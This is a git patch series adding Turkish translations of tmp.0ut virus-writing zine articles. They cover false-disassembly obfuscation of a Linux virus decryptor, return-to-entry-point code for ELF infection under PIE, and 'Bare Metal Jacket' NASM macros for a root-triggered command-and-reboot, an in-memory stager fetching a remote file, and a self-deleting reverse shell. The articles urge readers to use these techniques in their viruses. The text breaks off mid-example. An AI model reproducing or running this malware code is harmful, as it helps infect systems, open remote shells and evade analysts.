From 65ccce9e26014d8523f630c35199851c575c2708 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=2E=20Akil=20G=C3=BCndo=C4=9Fan?= <84398756+0xr3act0r@users.noreply.github.com> Date: Sat, 1 Jul 2023 14:41:54 +0300 Subject: [PATCH 01/13] translated into Turkish --- 1/tr/6.html | 245 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 245 insertions(+) create mode 100644 1/tr/6.html diff --git a/1/tr/6.html b/1/tr/6.html new file mode 100644 index 0000000..1c29a3a --- /dev/null +++ b/1/tr/6.html @@ -0,0 +1,245 @@ + + +tmp.0ut + + + + +
+                                                            ┌───────────────────────┐
+                                                            ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
+                                                            │ █   █ █ █ █   █       │
+                                                            │ █   █ █ █ █▀▀▀▀       │
+                                                            │ █   █   █ █     ▄     │
+                                                            │                 ▄▄▄▄▄ │
+                                                            │                 █   █ │
+                                                            │                 █   █ │
+                                                            │                 █▄▄▄█ │
+                                                            │                 ▄   ▄ │
+                                                            │                 █   █ │
+                                                            │                 █   █ │
+                                                            │                 █▄▄▄█ │
+                                                            │                 ▄▄▄▄▄ │
+                                                            │                   █   │
+The Polymorphic False-Disassembly Technique                 │                   █   │
+~ S01den                                                    └───────────────────█ ──┘
+
+[ @akilgundogan / M. Akil Gündoğan tarafından çevrilmiştir.] 
+tmp.out tayfadan s01den tarafından sevgiyle yazıldı !
+mail: S01den@protonmail.com
+
+--- Giriş ---
+
+Lin32.Bakunin[0]'i yazmaya başladığımda bunu MIPS assembly ile yazılmış aptal bir 
+virüsten nasıl daha iyi bir hale getirebilirim diye düşündüm. Biraz da tersine mühendisleri
+sinirlendirmek istedim. Bu yüzden daha önceleri bazı crackme'lerde kullandığım
+false-disassembly tekniği aklıma geldi. 
+
+Nedenine gelecek olursanız, polimorfik özellikler çok havalı, ben de false-disassembly tekniği 
+ile başka bazı yöntemleri karıştırarak ilginç şeyler yapılıp yapılamayacağını merak ettim.
+
+Tabii ki böyle ilginç şeyler yapmak mümkün oldu, (yeni bir teknik mi yoksa önceden de var mıydı
+tam emin değilim) ben bu trick'e "Polymorphic false-disassembly" veya basitçe "Fake polymorphism"
+diyorum.
+
+--- false-diassembly nasıl çalışır ? ---
+
+Bu tekniğin gerçekten hem anlanaması hem de uygulaması oldukça kolaydır.
+Bunu Silvio Cesare[1]'ın Linux anti-debugging hakkındaki ünlü bir yazısında keşfettim.
+Sadece assembly kodunuzu yazmadan önce birkaç byte eklemeniz gerekiyor:
+
+
+-------------------- kes-burayı --------------------
+hey:                      hey:
+   xor %rbx, %rbx             .ascii "\x48\x31"
+   jmp yo            ====>     xor %rbx, %rbx
+                               jmp yo
+---------------------------------------------------
+
+
+Şimdi, bu kodun disassembly edilmiş haline baktığımızda (radare2 iyidir) şöyle bir şeyler görürüz:
+
+-------------------- kes-burayı --------------------
+;-- hey:
+0x00401002      4831db         xor rbx, rbx
+0x00401005      eb02           jmp 0x401009
+
+                     ||
+                     \/
+;-- hey:
+0x00401002      48314831       xor qword [rax + 0x31], rcx
+0x00401006      dbeb           fucomi st(3)
+0x00401008      026631         add ah, byte [rsi + 0x31]
+
+---------------------------------------------------
+
+Peki disassembler neden böyle davranıyor ?
+
+Bildiğiniz gibi, \x48\x31 normalde bir xor komutunu başlatır[2] ve takip eden byte'lar
+genellikle üzerinde işlemler yaptığımız register'ları yönetebilmemize imkan tanır.
+
+Bu nedenle "initialisation" byte'ları bu byte'ları takip eder, kendileri de bir "initialisation"
+byte'ı olan diğer byte'lara yapışırlar. Bu nedenle disassemblerlar onları birer "register"
+byte'ı sandığından, istenen talimatlar yerine birtakım saçmalıklar görüntülenmiş olur.
+
+Bu nedenle böyle bir kodu yürütebilmek için az önce koyduğumuz bu byte'ların üzerinden 
+atlamamız gerekir.
+Şöyle bir şey:
+
+-------------------- kes-burayı --------------------
+_start:
+jmp hey+2
+
+hey:
+   .ascii "\x48\x31"
+   xor %rbx, %rbx
+   jmp yo
+---------------------------------------------------
+
+--- c0de'un tamamı ---
+
+Şimdi her yürütme ve bulaşma esnasında false-disassembly'e neden olan byte'ları değiştirebildiğnizi
+hayal edin. Tersine mühendisler kodu incelerken polimorfik olduğunu ve yalnızca birkaç byte'ın gerçekten
+değişiklik gösterdiğini zannedecektir.
+
+Ve şimdi daha fazla arkasını uzatmadan tam kodu size sunuyorum:
+
+----------- kes-burayı -----------
+# komutları derle: as Linux.FakePolymorphism.asm -o fakePoly.o ; ld fakePoly.o -o fakePoly
+
+# bu kod sahte bir polimorfik örneğidir, kullanmakta/denemekte/artık her ne yapacaksanız özgürsünüz.
+# Kendi kodunu alır, false-disassembly byte'larını değiştirir ve sonucu stack'e koyar.
+
+.text
+  .global _start
+
+_start:
+jmp true_start+2 # fake-disassembly byte'larına atlar
+
+true_start:
+.ascii "\x48\x31"  # fake-disassembly byte'ları
+xor %rbx, %rbx
+jmp get_code+2 # fake-disassembly byte'larına atlar
+
+get_code:
+  .ascii "\x66\x31"  # fake-disassembly byte'ları
+  call get_rip
+  sub $0x10 ,%rax # 0x10 _start ile bu komut arasındaki byte sayısını ifade eder
+  movb (%rax,%rbx), %al
+  movb %al, (%rsp,%rbx)
+  inc %rbx
+  cmp $0x54, %rbx  # 0x54 kodun toplam genişliğidir
+  jne get_code+2
+
+  # Zamana bağlı olarak sahte sayı üreticisi
+  rdtsc
+  xor $0xdead, %rax
+  mov %ax, 2(%rsp)
+  xor $0xbeef, %rdx
+  mov %ax, 9(%rsp)
+
+  mov $60, %rax
+  mov $0, %rdi
+  syscall # sys_exit
+
+get_rip:
+  mov (%rsp), %rax
+  ret
+----------------------------
+
+-- Sonuç --
+
+Bu yazıyı okurken oldukça keyif aldığınızı ve öğrendiğiniz teknikleri
+crackme'ler ile virüslerinizde kullanmaya çalışacağınızı umuyorum!
+
+sblip ile bir polimorfik virüs yazdık (Lin64.Eng3ls, makaleyi ve kodu inceleyin !) ve
+bu tekniği kullanarak decyrptor'u obfuscate etmeye çalıştık. 
+
+Decryptor kodu:
+
+------- KES-BURAYI -------
+  pop rcx
+  jmp jmp_over+2
+  jmp_over:
+    db `\x48\x31` ; false disassembly
+    mov al,0x00
+    xor rdx, rdx
+
+  decoder:
+    jmp jmp_over2+2
+
+    jmp_over2:
+      db `\xb8\xd9` ; false disassembly
+      mov dl, byte [r12+rdi]
+      cmp rdi, STUB_SIZE-1
+      jna no_decrypt
+
+      jmp jmp_over3+2
+      jmp_over3:
+        db `\x48\x81` ; false disassembly
+        xor dl, al
+
+  no_decrypt:
+    mov byte [rbx+rdi], dl
+    inc rdi
+  loop decoder
+-------------------------
+
+İşte virüs bulaşmış ikili dosyalar disassembly edilerek elde edilmiş decryptor'lar[3]. Hadi
+tekniğimizi iş başında görelim.
+
+1. 
+  0x0c003f46      59             pop rcx                 
+  0x0c003f47      eb02           jmp 0xc003f4b           
+  0x0c003f49      00d6           add dh, dl              
+  0x0c003f4b      b06d           mov al, 0x6d            
+  0x0c003f4d      4831d2         xor rdx, rdx            
+  0x0c003f50      eb02           jmp 0xc003f54           
+  0x0c003f52      1aca           sbb cl, dl              
+  0x0c003f54      418a143c       mov dl, byte [r12 + rdi]
+  0x0c003f58      4881ff870000.  cmp rdi, 0x87           
+  0x0c003f5f      7606           jbe 0xc003f67           
+  0x0c003f61      eb02           jmp 0xc003f65           
+  0x0c003f63      c0d630         rcl dh, 0x30            
+  0x0c003f66      c28814         ret 0x1488              
+  0x0c003f69      3b48ff         cmp ecx, dword [rax - 1]
+  0x0c003f6c      c7             invalid                 
+  0x0c003f6d      e2e1           loop 0xc003f50          
+
+2.
+  0x0c003fe6      59             pop rcx
+  0x0c003fe7      eb02           jmp 0xc003feb
+  0x0c003fe9      ce             invalid
+  0x0c003fea      0ab0a34831d2   or dh, byte [rax - 0x2dceb75d]
+  0x0c003ff0      eb02           jmp 0xc003ff4
+  0x0c003ff2      39cb           cmp ebx, ecx
+  0x0c003ff4      418a143c       mov dl, byte [r12 + rdi]
+  0x0c003ff8      4881ff870000.  cmp rdi, 0x87
+  0x0c003fff      7606           jbe 0xc004007
+  0x0c004003      0e             invalid
+  0x0c004004      0a30           or dh, byte [rax]
+  0x0c004006      c28814         ret 0x1488
+  0x0c004009      3b48ff         cmp ecx, dword [rax - 1]
+  0x0c00400c      c7             invalid
+  0x0c00400d      e2e1           loop 0xc003ff0
+
+
+Sonuçlar gerçekten orijinal koddan oldukça farklı.
+
+--- Notlar ve Kaynakça: ---
+[0] https://vx-underground.org/papers/VXUG
+      /Exclusive/Bakounin/Writing_virus_in_MIPS_assembly_for_fun.txt
+[1] http://www.ouah.org/linux-anti-debugging.txt // silvio'nun yazısı
+[2] https://www.felixcloutier.com/x86/xor
+[3] radare2 ile
+
From 40b659d6f933f7a047153648df4a1d7ef082bcbb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=2E=20Akil=20G=C3=BCndo=C4=9Fan?= <84398756+0xr3act0r@users.noreply.github.com> Date: Sat, 1 Jul 2023 14:49:54 +0300 Subject: [PATCH 02/13] fix minor html typo's :) --- 1/tr/6.html | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/1/tr/6.html b/1/tr/6.html index 1c29a3a..e20c45a 100644 --- a/1/tr/6.html +++ b/1/tr/6.html @@ -62,11 +62,10 @@ -------------------- kes-burayı -------------------- hey: hey: xor %rbx, %rbx .ascii "\x48\x31" - jmp yo ====> xor %rbx, %rbx + jmp yo ====> xor %rbx, %rbx jmp yo --------------------------------------------------- - Şimdi, bu kodun disassembly edilmiş haline baktığımızda (radare2 iyidir) şöyle bir şeyler görürüz: -------------------- kes-burayı -------------------- From 810621f35961935ef07af51a3927e5cd0c70593d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=2E=20Akil=20G=C3=BCndo=C4=9Fan?= <84398756+0xr3act0r@users.noreply.github.com> Date: Sat, 1 Jul 2023 14:53:50 +0300 Subject: [PATCH 03/13] translated into Turkish. --- 1/tr/11.html | 160 +++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 160 insertions(+) create mode 100644 1/tr/11.html diff --git a/1/tr/11.html b/1/tr/11.html new file mode 100644 index 0000000..9567c06 --- /dev/null +++ b/1/tr/11.html @@ -0,0 +1,160 @@ + + +tmp.0ut + + + + +
+                                                           ┌───────────────────────┐
+                                                           ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
+                                                           │ █   █ █ █ █   █       │
+                                                           │ █   █ █ █ █▀▀▀▀       │
+                                                           │ █   █   █ █     ▄     │
+                                                           │                 ▄▄▄▄▄ │
+                                                           │                 █   █ │
+                                                           │                 █   █ │
+                                                           │                 █▄▄▄█ │
+                                                           │                 ▄   ▄ │
+                                                           │                 █   █ │
+                                                           │                 █   █ │
+                                                           │                 █▄▄▄█ │
+                                                           │                 ▄▄▄▄▄ │
+                                                           │                   █   │
+Return To Original Entry Point Despite PIE                 │                   █   │
+~ S01den                                                   └───────────────────█ ──┘
+
+[ @akilgundogan / M. Akil Gündoğan tarafından çevrilmiştir.] 
+tmp.out tayfadan s01den tarafından sevgiyle yazıldı !
+
+--- 1) Giriş ---
+
+Virüsler dünyasına ilk adım attığımda, ilk düşündüğüm şey ve karşılaştığım zorluk,
+programın asıl başlangıç noktasının (OEP) nasıl doğru bir şekilde geri döndürülebileceğiydi.
+Bu temel özellik isim yapmış her virüste yer alan bir özellikti ve geçmişte oldukça kolay
+bir şekilde uygulamak mümkündü (mov ebx, OEP; jmp ebx).
+
+Şu anda neden bu kadar kolay olmadığını merak ediyor olabilirsiniz.
+
+Bu sorunuzun cevabı yalnızca 3 harf: PIE, yani Position Independent Executable özelliği.
+PIE kullanılan ikili (binary) dosyalarda her çalıştırmada talimatların başlangıç adresi
+rastgele bir şekilde belirlenir. Yani programın başlangıç noktası olan OEP sabit kalmaz,
+istediklerimizi uygulayabilmek için birtakım hesaplamalar yapmak zorundayız.
+
+Hemen bunu nasıl yapacağımızı görelim !
+
+--- 2) PIE'ye rağmen OEP'e dönüş ---
+
+Burada Lin64.Kropotkine[0]'da kulalndığım Ret2OEP hesaplama yöntemini kullanacağım.
+Birkaç gün bu konuda takılıp kalsam da nihayet Elfmaster[1]'ın bir makalesi bana ışığı gösterdi.
+
+İşte kodumuz:
+
+-------------------------------- BURAYI-KES ------------------------------------------
+mov rcx, r15 ; r15 virüs kodumuzun depolandığı adresi stack üzerinde tutar
+add rcx, VXSIZE ; rcx artık virüs kodumuzdan daha sonra gelen ilk adresi içerir
+mov dword [rcx], 0xffffeee8 ; önceki 13 baytta bulunan get_eip fonksiyonuna relative call
+mov dword [rcx+4], 0x0d2d48ff ; sub rax, (VXSIZE+5)
+mov byte  [rcx+8], 0x00000005
+mov word  [rcx+11], 0x0002d48
+mov qword [rcx+13], r9		 ; sub rax, entry0
+mov word  [rcx+17], 0x0000548
+mov qword [rcx+19], r12		; add rax, sym._start
+mov dword [rcx+23], 0xfff4894c 	; mov rsp, r14
+mov word  [rcx+27], 0x00e0		; jmp rax
+------------------------------------------------------------------------------------
+
+Gördüğünüz gibi, OEP'e geri dönüş yapacak kodu byte byte doğrudan belleğe yazıyoruz ki
+(virüs kodundan sonra, önceki virüs kodunun yürütülmesinden hemen ardından bu rutine
+dönüş yapabiliriz) yazacağımız byte'lar hedefi enfekte edebilsin. Şöyle bir şey görmek 
+istiyoruz:
+
+(bu kod, Lin64.Kropotkine ile enfekte ettiğim /bin/date dosyamdan geliyor)
+
+-------------------------------- BURAYI-KES ------------------------------------------
+; virüs kodumuzun sonu
+get_rip:
+0x0c01ada3      488b0424       mov rax, qword [rsp]
+0x0c01ada7      c3             ret
+getdot:
+0x0c01ada8      e842fbffff     call 0xc01a8ef          ; call main
+0x0c01adad      2e0000         add byte cs:[rax], al   ; '.'
+; <---- virüs kodunun sonundayken ret2OEP kodumuzu buraya eklemek istiyoruz.
+; Burası olmasını istediğimiz kod:
+0x0c01adb0      e8eeffffff     call 0xc01ada3 ; call get_rip <--
+0x0c01adb5      482d0d050000   sub rax, 0x50d ; sub rax, (VXSIZE+5)
+0x0c01adbb      482da8a8010c   sub rax, entry0
+0x0c01adc1      4805b0380000   add rax, 0x38b0 ;  add rax, sym._start
+0x0c01adc7      4c89f4         mov rsp, r14 ; orijinal stack'e dönüş
+0x0c01adca      ffe0           jmp rax
+------------------------------------------------------------------------------------
+
+Temelde, OEP'i hesaplamak gerçekten komplike veya zor bir şey değildir.
+
+Diyelim ki, host tarafından yürütülecek orijinal kodun üzerinde yer alan ilk komutun
+ofseti (yani rastgele hale getirilmemiş OEP'in) 0x38b0 ve RIP'imiz
+0x55556156edb5 (rastgele bir adres) olsun. get_rip'i çağırdığımızda
+(yukarıdaki kodda 0x0c1adb0) bir değer elde edelim. Biz istiyoruz ki OEP'e
+atlayabilelim, bu yüzden OEP'in rastgele adresini öğrenmemiz gerekiyor.
+
+Pekalâ devam edelim, call get_rip komutu RIP'i RAX'e koyar, bu yüzden virüsün başlangıç adresini
+elde edebilmek için RAX (0x55556156edb5) üzerinden virüsün boyutunu (ve ek olarak
+get_rip çağrısının boyutu olan 5'i) çıkarmamız gerekiyor. 
+
+---> 0x55556156edb5 - (0x508 + 5) = 0x55556156e8a8 ; virüs kodumuzun ilk talimatının
+adresi
+
+Şimdi, bu yeni entry point ile virüs kodunun rastgeleleştirilmemiş/non-randomized
+başlangıcı (önceden virüsün çalışması esnasında hesaplanan, bizim durumumuzda
+bu 0xc01a8a8) birbirinden çıkarılır. 
+
+Yani aslında sadece yaptığımız şey bu:
+
+---> rastgeleleştirilmiş yeni entry point noktası - rastgeleleştirilmemiş yeni entry point (e_hdr.entry)
+
+Elimizdeki değerleri kullanarak şöyle bir işlem gerçekleştirip, bir değer elde edeceğiz.
+
+---> 0x55556156e8a8 - 0xc01a8a8 = 0x555555554000
+
+Yukarıdaki çıkarma işlemi ile hedeflediğimiz şey rastgeleleştirme işleminin tabanını/base'ini
+elde etmekti. Artık elimizdeki bu değere sadece orijinal e_hdr.entry'i eklememiz gerekiyor. 
+(randomize edilmemiş OEP):
+
+---> 0x555555554000 + 0x38b0 = 0x5555555578b0
+
+Artık atlayabileceğiniz doğru bir adrese sahipsiniz !
+Yani jmp rax host'a ait orijinal kodu yürütmeye başlayacaktır !
+
+--- Sonuç ---
+Kısa bir özet geçecek olursak, az önce yaptığımız şey buydu:
+
+---> get_rip() - (VX_SIZE + 5) - new_EP + original-e_hdr.entry
+
+Gördüğünüz gibi çok kolay bir matematiksel işlem ! ;)
+Çok yaşa vx scene !
+Burada otoriteler var, özgürlük yok.
+Her şey, herkes içindir.
+Hasta siempre!
+
+--- Notlar ve referanslar ---
+[0] https://github.com/vxunderground/MalwareSourceCode
+      /blob/main/VXUG/Linux.Kropotkine.asm
+[1] Modern ELF Infection Techniques of SCOP Binaries:
+    https://bitlackeys.org/papers/pocorgtfo20.pdf
+    - özellikle şu kısım: "Note on resolving Elf_Hdr->e_entry
+      in PIEexecutables"
+
+--- Kaynakça ---
+
+- Linux.Kropotkine.asm
+
From d9570706d98506e777fce8b3f0deb0d2ad1d5ef8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=2E=20Akil=20G=C3=BCndo=C4=9Fan?= <84398756+0xr3act0r@users.noreply.github.com> Date: Sat, 1 Jul 2023 15:00:16 +0300 Subject: [PATCH 04/13] index.html href edit. --- 1/tr/index.html | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/1/tr/index.html b/1/tr/index.html index 41d98a8..f1c7ca1 100644 --- a/1/tr/index.html +++ b/1/tr/index.html @@ -43,12 +43,12 @@ │ 1.3 PT_NOTE To PT_LOAD ELF Injector In Rust............................. d3npa │ │ 1.4 PT_NOTE Disinfector In Python.................................... manizzle │ │ 1.5 Fuzzing Radare2 For 0days In About 30 Lines Of Code..... Architect, s01den │ -│ 1.6 The Polymorphic False-Disassembly Technique ........................ s01den │ +│ 1.6 The Polymorphic False-Disassembly Technique ........................ s01den │ │ 1.7 Lin64.Eng3ls: Some Anti-RE Techniques In A Linux Virus ...... s01den, sblip │ │ 1.8 Linux.Midrashim.asm ................................................... TMZ │ │ 1.9 In-Memory LKM Loading ........................................... netspooky │ │ 1.10 Linux SHELF Loading .................................... ulexec, Anonymous_ │ -│ 1.11 Return To Original Entry Point Despite PIE ......................... s01den │ +│ 1.11 Return To Original Entry Point Despite PIE ......................... s01den │ │ 1.12 Writing Viruses In MIPS Assembly For Fun (And No Profit) ........... s01den │ │ 1.13 Interview: herm1t ........................................... tmp.0ut Staff │ │ 1.14 GONE IN 360 SECONDS - Linux/Retaliation............................ qkumba │ From 34ccfa2e5056825df080815912391000c89311ed Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=2E=20Akil=20G=C3=BCndo=C4=9Fan?= <84398756+0xr3act0r@users.noreply.github.com> Date: Sat, 1 Jul 2023 15:09:24 +0300 Subject: [PATCH 05/13] fix index.html my typos --- 1/tr/index.html | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/1/tr/index.html b/1/tr/index.html index f1c7ca1..2598adb 100644 --- a/1/tr/index.html +++ b/1/tr/index.html @@ -43,12 +43,12 @@ │ 1.3 PT_NOTE To PT_LOAD ELF Injector In Rust............................. d3npa │ │ 1.4 PT_NOTE Disinfector In Python.................................... manizzle │ │ 1.5 Fuzzing Radare2 For 0days In About 30 Lines Of Code..... Architect, s01den │ -│ 1.6 The Polymorphic False-Disassembly Technique ........................ s01den │ +│ 1.6 The Polymorphic False-Disassembly Technique ........................ s01den │ │ 1.7 Lin64.Eng3ls: Some Anti-RE Techniques In A Linux Virus ...... s01den, sblip │ │ 1.8 Linux.Midrashim.asm ................................................... TMZ │ │ 1.9 In-Memory LKM Loading ........................................... netspooky │ │ 1.10 Linux SHELF Loading .................................... ulexec, Anonymous_ │ -│ 1.11 Return To Original Entry Point Despite PIE ......................... s01den │ +│ 1.11 Return To Original Entry Point Despite PIE ......................... s01den │ │ 1.12 Writing Viruses In MIPS Assembly For Fun (And No Profit) ........... s01den │ │ 1.13 Interview: herm1t ........................................... tmp.0ut Staff │ │ 1.14 GONE IN 360 SECONDS - Linux/Retaliation............................ qkumba │ From 43b4edfec298a2096bb39ee4cf725601f0431eb4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=2E=20Akil=20G=C3=BCndo=C4=9Fan?= <84398756+0xr3act0r@users.noreply.github.com> Date: Sun, 2 Jul 2023 21:58:35 +0300 Subject: [PATCH 06/13] Create Turkish 0.html --- 2/tr/0.html | 37 +++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 2/tr/0.html diff --git a/2/tr/0.html b/2/tr/0.html new file mode 100644 index 0000000..6a974aa --- /dev/null +++ b/2/tr/0.html @@ -0,0 +1,37 @@ + + +Giriş + + + + +
+                                                       ┌───────────────────────┐
+                                                       ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
+                                                       │ █   █ █ █ █   █       │
+                                                       │ █   █ █ █ █▀▀▀▀       │
+                                                       │ █   █   █ █     ▄     │
+                                                       │                 ▄▄▄▄▄ │
+                                                       │                 █   █ │
+                                                       │                 █   █ │
+                                                       │                 █▄▄▄█ │
+                                                       │                 ▄   ▄ │
+                                                       │                 █   █ │
+                                                       │                 █   █ │
+                                                       │                 █▄▄▄█ │
+                                                       │                 ▄▄▄▄▄ │
+                                                       │                   █   │
+Giriş                                                  │                   █   │
+~ tmp.0ut ekibi                                        └───────────────────█ ──┘
+[ @akilgundogan / M. Akil Gündoğan tarafından çevrilmiştir.]
+tmp.0ut'un bir sonraki yayınına hoş geldiniz.
+
+Biz ELF dosyalarıyla ilgilenmeyi seven insanlarız, dergimiz de bu konu üzerine
+ve şu anda ikinci sayısını okuyorsunuz.
+
+Dergimizde emeği geçen herkese ve özellikle grenlith, koronkowy, barbie, hexadecim8'e çok 
+teşekkürler. 
+
+Kimsenin merakınızı elinizden almasına izin vermeyin.
+
+ From e2e6781d84307dc64d9a56db1b7ecd1e2f8c3c39 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=2E=20Akil=20G=C3=BCndo=C4=9Fan?= <84398756+0xr3act0r@users.noreply.github.com> Date: Sun, 2 Jul 2023 22:53:37 +0300 Subject: [PATCH 07/13] translated into Turkish 1.html --- 2/tr/1.html | 187 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 187 insertions(+) create mode 100644 2/tr/1.html diff --git a/2/tr/1.html b/2/tr/1.html new file mode 100644 index 0000000..7c76807 --- /dev/null +++ b/2/tr/1.html @@ -0,0 +1,187 @@ + + +Bare Metal Jacket + + + + +
+ ▀█████████▄           ▄▄▄▄███▄▄▄▄                ▄ 
+   ███ 00 ███      ▄ █ █▀▀▀███▀▀▀█ █ ▄          █ █
+   ███    ███      █ █ █fff███   █0x90          █ █ 
+  ▄███▄▄90▄██      █ █ █   ███   █ █ █          █ █ 
+ ▀▀███▀▀▀██▄         █ █   ███   █ █            █0x 
+   ███0xc0██▄      █ █ █   ███   █ █ █          █ █ 
+   ███c3  ███      █ █ █   0x0fff█ █ █     █    █ █ 
+ ▄█████|████▀        ▀ █   ███   | ▀       █▄▄▄▄█ █ 
+       |                         |             |
+       |                         |             |
+       |                         |             |
+       |      .                  |      .      |      .   .      .  .      . 
+       |    .   .                | * .         |  .  *     .   .     .
+       | .  .                    | .   *       |   *  .   *   .    .
+ ~~~~~~~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~   ~   ~   ~  ~   - - - - - - - - - - -  -   -   -   =]D>
+       |   .   .                 |   *  *      |  .  *   *    .
+       |      .                  |    .        |  . *  .   *     *
+       |                         |      .      |     *  .  .   *
+       |---- [Bare]              |             |      .    
+                                 |             |
+                     [Metal] ----|             |       
+                                               |       
+          [Jacket]-----------------------------|       
+
+
+        ----{ Wintrmvte @ redcodelabs.io <*> }----
+
+
+[ @akilgundogan / M. Akil Gündoğan tarafından çevirilmiştir. ]
+| - - - - [ Giriş ]
+
+Birkaç yıl önce el ile shellcode yazmaya başladığımda, çok sayıda harika kaynak ve
+referanslara sahip olduğundan (başta SLAE olmak üzere) genellikle x86_x64 mimarisinde 
+kalmaya gayret ettim. 
+
+Benim için 64 bit ekosistemine geçiş oldukça zor oldu, çünkü piyasada yer alan
+kaynakların çoğu modern Linux senaryolarını karşılamıyordu ve low-level bir yaklaşımla
+ele almıyordu. Bunu yapanlar da genellikle birkaç temel kavramlara değinmekle yetiniyordu.
+
+Bu araç yeni bir şey ortaya koymaz ama gelecekteki projelerinize eminim ki yardımcı olacak. 
+Burada görev otomasyonu/task otomation için standart NASM makrolarının yanı sıra 
+assembly tekniklerinizi geliştirecek birtakım kompleks makrolar da bulacaksınız.
+
+
+
+| - - - - [ Örnek #1 = Kod Yürütme/Command Execution ]
+
+Öncelikle çok düz bir örnekle başlayacağız - arbitrary command execution / keyfi kod yürütme
+Kodumuz yükseltilmiş sistem yetkileriyle çalıştırılıp çalıştırılmadığını kontrol etmelidir.
+Eğer öyleyse arka planda bir shell oturumu başlatır ve sistemi yeniden başlatmaya çalışır.
+
+------------ cmd_exec.asm -----------
+    BITS 64
+    %include "bmj.asm"
+    section .text
+    global _start
+    _start:
+        is_root                     ; Eğer UID=0 ise RAX'a 1 döndür.
+        cmp rax, 1                  ; Yukarıda belirlenen şartı kontrol eder
+        jne xit                     ; Eğer root değilse yürütme akışından exit(0) ile çıkın
+        run_bg "echo pvvned"        ; Çalıştırmak istenen komut
+        reboot
+        xit:                        ; Program çıkışı
+        exit 0
+--------------------------------------
+
+Haydi derleyelim:
+
+    $ nasm -f elf64 -o cmd_exec.o cmd_exec.asm 
+    $ ld -m elf_x86_64 cmd_exec.o -o cmd_exec
+
+Oluşturulan ELF dosyasını sudo eki ile ve sudo eki olmadan çalıştırmayı deneyin.
+
+
+
+| - - - - [ Örnek #2 = Zaman Manipülasyonu ve Second Stage Loader'lar]
+
+Şimdi biraz daha kompleks bir şeyler oluşturalım. Başlangıçta payload'ımız kendisi
+için bir yaşam süresi oluşturacaktır (5 dakika diyelim).
+
+Bu zaman dilimi içerisinde uzak bir dosyayı (mesela yürütülebilir dosyalar veya bir LKM gibi.) bir 
+in-memory file descriptor ile eşlemeye çalışır. 
+
+Eğer server dosyaların bulunduğu sunucuyla herhangi bir nedenden ötürü
+bağlantı başarısız olursa her connect(2) denemesi 20 saniyelik aralarla sonsuz
+bir döngü şeklinde devam eder.
+
+Haydi koda göz atalım :
+
+------------------------------- timed_stager.asm -----------
+    BITS 64
+    %include "bmj.asm"
+    section .text
+    global _start
+    _start:
+
+        set_ttl 5, MINUTES          ; Daha önceden tanımlanmış bir time constant kullanarak payload'ın çalışma süresini belirliyoruz
+                                    ; Bu süreç sonunda mevcut process SIGALRM gönderip çıkış yapar
+
+        infinite_loop file_download, 20, SECONDS 
+
+    file_download:           
+        init_sock_tcp               ; RAX üzerinde yeni bir TCP soketi açılır
+        push rax
+        pop r11                     ; Soketin fd'si (file descriptor) daha sonra saklanmak üzere kaydedilir
+        sock_connect "127.0.0.1", 4444
+                                    ; Yukarıda belirtilenler dosya sunucusuna dair bilgiler
+        memfd_create                ; in-memory file descriptor oluşturulur ve RAX'a return edilir
+        push rax
+        pop r12
+        fd2fd                       ; Bir file descriptor içeriğini okuyup diğerine yazar
+                                    ; Açık olarak işlenen operand'lar r11 (kaynak) ve r12 (hedef) şeklindedir fakat herhangi bir register da kullanılabilir
+        ret                         ; 'file_download:' etiket akışını bir 'ret' ile durdurmayı unutmayın
+        . . .                       ; Artık dosyamızı 'fd_exec r12' gibi bir makroyla çalıştırabilir veya istediğimiz herhangi bir şey yapabiliriz. (nmap() gibi)
+-------------------------------------------------------------
+
+sock_connect kullandığımızdan sunucunun adresini hex olarak belirtmemiz gerekmediğine dikkat edin
+çünkü ilgili makro hex dönüştürücüye sahip.
+
+
+| - - - - [ Örnek #3 = Sadece Reverse Shell Değil]
+
+Üçüncü örneğimiz, basit bir TCP reverse shell örneğinden oluşuyor.
+
+Eğer belirli koşullar sağlanırsa yürütülebilir dosyası dosya sistemi üzerinden kaldırılır
+ve process'in öncelik seviyesi yükseltilir ('htop' üzerinde de görülebileceği gibi)
+
+Yükümüz ayrıca yetkilerini yükseltmeye çalışır (fakat genellikle acıklı bir şekilde başarısız olur)
+ve TTY'den kendisini ayırır.
+
+Tam daemon-benzeri davranış (setsid(0x00) eklentisi) 0x05 ile ifade edilmiş 'daemon_init' makrosunda 
+bulunabilir.
+
+------------------------------- reverse_shell.asm -----------
+    BITS 64
+    %include "bmj.asm"
+    section .text
+    global _start
+    _start: 
+        remove_self                 ; Eğer ikili dosyanın boyutu aşağı yukarı mevcut yükün boyuna (fsize değişkenine eşitse) kendini kaldırır
+        set_priority MAX_PRIO       ; Process önceliğini maksimum hale getiririz
+        elevate_full                ; SETGID(0) ve SETUID(0) aracılığıyla yetki yükseltme denemesi
+        tty_detach                  ; setsid(0x00) == TTY'den ayrılınır
+        revshell "127.0.0.1", 5555  ; Spawn a standard TCP reverse shell Standart bir TCP reverse shell oturumu başlatılır
+        get_current_size_var        ; 'remove_self' makrosu tarafından kullanılan 'fsize' değişkeni aktif hale getirilir
+-------------------------------------------------------------
+
+
+
+| - - - - [ Örnek #4 = Size Padding ve VM Tespiti]
+
+Son olarak kısa bir NOP sled eklemek için iki padding makrosu kullanalım ve payload'ımızın
+boyutunu toplam 256 byte'a çıkaralım.
+
+Ayrıca payload'ı yürütmenin başarılı olup olmadığını kontrol etmek için ana bilgisayara
+öylesine bir pingback isteğinde bulunalım.
+
